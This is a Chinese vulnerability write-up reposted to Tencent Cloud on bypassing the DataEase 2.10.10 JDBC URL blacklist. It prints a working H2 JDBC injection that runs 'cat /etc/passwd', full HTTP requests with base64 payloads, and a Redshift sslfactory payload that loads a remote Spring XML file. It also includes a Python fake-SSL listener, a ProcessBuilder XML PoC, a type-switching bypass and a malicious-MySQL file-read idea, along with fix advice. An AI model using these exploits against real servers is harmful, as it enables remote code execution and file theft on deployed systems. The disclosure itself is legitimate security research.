原文首发在:奇安信攻防社区
https://forum.butian.net/article/786
两个月前看qax情报中心通报了2.10.9的漏洞,然后顺手挖了下,然后包送给官方,最后成功水到了cve。
Database 2.10.10 中存在CVE-2025-49002的绕过。 core/core-backend/src/main/java/io/dataease/datasource/type/H2.java
可以看⻅只对StringUtils.containsAnyIgnoreCase(jdbc, "INIT", "RUNSCRIPT")) 进⾏检测。 根据h2 的特性在字符串中插⼊\进⾏转译,那么就可以绕过检测。
{"dataBase":"","jdbc":"jdbc:h2:mem:test;in\\it=DROP ALIAS IF EXISTS EXEC\\;CREAT\\E ALIAS EXEC AS $$void exec() throws Exception {java.lang.String s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\A\").next()\\;throw new java.lang.Exception(s)\\;}$$\\;CALL EXEC()\\;","urlType":"jdbcUrl","sshType":"password","extraParams":"","username":"123"," password":"123","host":"","authMethod":"","port":0,"initialPoolSize":5,"minPoolSize":5, "maxPoolSize":5,"queryTimeout":30}
这是我对应的poc
POST /de2api/datasource/getSchema HTTP/1.1 Host: 10.211.55.14:8100 Content-Length: 909 Accept: application/json, text/plain, */* X-DE-TOKEN: your token Accept-Language: zh-CN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Content-Type: application/json Origin: http://10.211.55.14:8100 Referer: http://10.211.55.14:8100/ Accept-Encoding: gzip, deflate, br Connection: close
{"id": "", "name": "11", "description": "", "type": "h2", "apiConfiguration": [], "paramsConfiguration": [], "enableDataFill": false, "configuration": "eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0O2luXFxpdD1EUk9QIEFMSUFTIElGIEVYSV NUUyBFWEVDXFw7Q1JFQVRcXEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBFeGNlcHRpb24ge 2phdmEubGFuZy5TdHJpbmcgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihqYXZhLmxhbmcuUnVudGltZS5nZXRS dW50aW1lKCkuZXhlYyhcImNhdCAvZXRjL3Bhc3N3ZFwiKS5nZXRJbnB1dFN0cmVhbSgpKS51c2VEZWxpbWl0ZXI oXCJcXEFcIikubmV4dCgpXFw7dGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24ocylcXDt9JCRcXDtDQUxMIE VYRUMoKVxcOyIsInVybFR5cGUiOiJqZGJjVXJsIiwic3NoVHlwZSI6InBhc3N3b3JkIiwiZXh0cmFQYXJhbXMiO iIiLCJ1c2VybmFtZSI6IjEyMyIsInBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJw b3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnl UaW1lb3V0IjozMH0=" }
数据包
命令执⾏结果直接放回在数据包⾥
if (url.contains("create trigger") || url.contains("create alias") || url.contains("runscript from") || url.contains("allowloadlocalinfile") || url.contains("allowloadlocalinfileinpath") || url.contains("uselocalinfile") || url.contains("autodeserialize") || url.contains("detectcustomcollations") || url.contains("serverstatusdiffinterceptor")) { throw new IllegalArgumentException("Invalid JDBC URL: contains malicious characters."); } 建议对jdbcurl 去除转议后,然后对⽐⿊名单。
core/core-backend/src/main/java/io/dataease/datasource/type/Redshift.java
我⻔知道 redshift是兼容 PostgreSQL 语法, 在postgresql中,除了"socketFactory", "socketFactoryArg"这样参数外,还有"sslfactory","sslfactory" 有这⼀样 的功能。区别再去sslfactory需要建⽴连接后触发。类似的还有 sslhostnameverifier/sslpasswordcallback/authenticationPluginClassName。
所以这⾥⿊名单不完整。
我们可以使⽤下⾯的payload绕过检查。
jdbc:redshift://10.211.55.14:5432/;sslfactory=org.springframework.context.support.FileS ystemXmlApplicationContext;sslfactoryarg=http://10.211.55.14:8888/exp.xml
因为要建⽴连接后才能出发,这⾥使⽤⼀个脚本监听5432,当有连接时返回⼀个s,让服务器以为建⽴ssl 连接, 以便触发FileSystemXmlApplicationContext加载。
import socket
defrun_server():
# 创建TCP套接字
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 设置套接字选项,允许地址重⽤
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 绑定地址和端⼝
server_address = ('', 5432)
server_socket.bind(server_address)
# 开始监听,最⼤连接数为5
server_socket.listen(5)
print(f"服务器监听在端⼝ {server_address[1]}")
whileTrue:
# 接受客户端连接
client_socket, client_address = server_socket.accept()
print(f"接受来⾃ {client_address} 的连接")
try:
# 发送字符'S'到客户端
client_socket.sendall(b'S')
finally:
# 关闭客户端连接
client_socket.close()
if __name__ == "__main__":
run_server()
然后准备⼀个 xml poc
<beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<beanid="pb"class="java.lang.ProcessBuilder"init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/rce</value>
</list>
</constructor-arg>
</bean>
</beans>
然后在本⾥分别使⽤python启动
填⼊payload
jdbc:redshift://10.211.55.14:5432/;sslfactory=org.springframework.context.support.FileS ystemXmlApplicationContext;sslfactoryarg=http://10.211.55.14:8888/exp.xml
点击后 除发加载
对应数据包
POST /de2api/datasource/getSchema HTTP/1.1 Host: 10.211.55.14:8100 Content-Length: 652 Accept: application/json, text/plain, */* X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzQ5MTU0NTI0fQ.i5s KbBjb3myWOVZlGDXTh-TevP2HYlZ6idyRScjwXwI Accept-Language: zh-CN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Content-Type: application/json Origin: http://10.211.55.14:8100 Referer: http://10.211.55.14:8100/ Accept-Encoding: gzip, deflate, br Connection: close {"id":"","name":"1","description":"","type":"redshift","apiConfiguration": [],"paramsConfiguration":
[],"enableDataFill":false,"configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmNVcmwiOiJqZGJjOnJl ZHNoaWZ0Oi8vMTAuMjExLjU1LjE0OjU0MzIvO3NzbGZhY3Rvcnk9b3JnLnNwcmluZ2ZyYW1ld29yay5jb250ZXh 0LnN1cHBvcnQuRmlsZVN5c3RlbVhtbEFwcGxpY2F0aW9uQ29udGV4dDtzc2xmYWN0b3J5YXJnPWh0dHA6Ly8xMC 4yMTEuNTUuMTQ6ODg4OC9leHAueG1sIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiL CJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiIiwicGFzc3dvcmQiOiIiLCJob3N0IjoiIiwiYXV0aE1ldGhv ZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo 1LCJxdWVyeVRpbWVvdXQiOjMwfQ=="}
成功rce。
sslhostnameverifier/sslpasswordcallback/authenticationPluginClassName 、sslfactory","sslfactory" 加⼊⿊名单
o.dataease.datasource.provider.CalciteProvider#getConnection
这⾥只要不穿h2 ,也就是不⾛h2的检查了
如果我们传别的type,⽐如oracle,或者直接在case选择⼀个没有处理的 然后在configuration.getJdbc() 就的检查就是oracle 的jdbc,这样就绕过了h2的检查⽅式。然后最后的 drivername 是直接从configuration 中获取。 configuration 我们可控,就是我们传⼊的json
也就是我可以在这⾥插⼊“driver":“org.h2.Driver” , 直接我就控制driverclass ,后⾯还是⾛h2 加载。
总结就是 在传type的时候传⼊不是h2类型,那么在getjdbc()的时候就会绕过h2的检查。 若果configuration中有dirvername,就会从中获取driverclass,这⾥我们可以插⼊“driver":“org.h2.Driver”,这 样就绕过修复⽅案进⾏绕过。
H2 rce 绕过列⼦
mysql读⽂件列⼦
起⼀个恶意mysql服务器 连接后,绕过⿊名单,直接读取本地⽂件
String jdbcurl = null;
DatasourceTypes datasourceType = DatasourceTypes.valueOf(datasourceRequest.getDatasource().getType());
Properties props = new Properties();
DeDriver deDriver = null;
switch (datasourceType) {
case mysql:
defaultDriver = "com.mysql.jdbc.Driver";
jdbcurl = mysqlConfiguration.getJdbc();
....
}
conn = driverClass.connect(jdbcurl, props);
确保jdbc都通过switch语句进行处理,然后在传入connect()而不是直接从configuration.getJdbc()直接获取。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。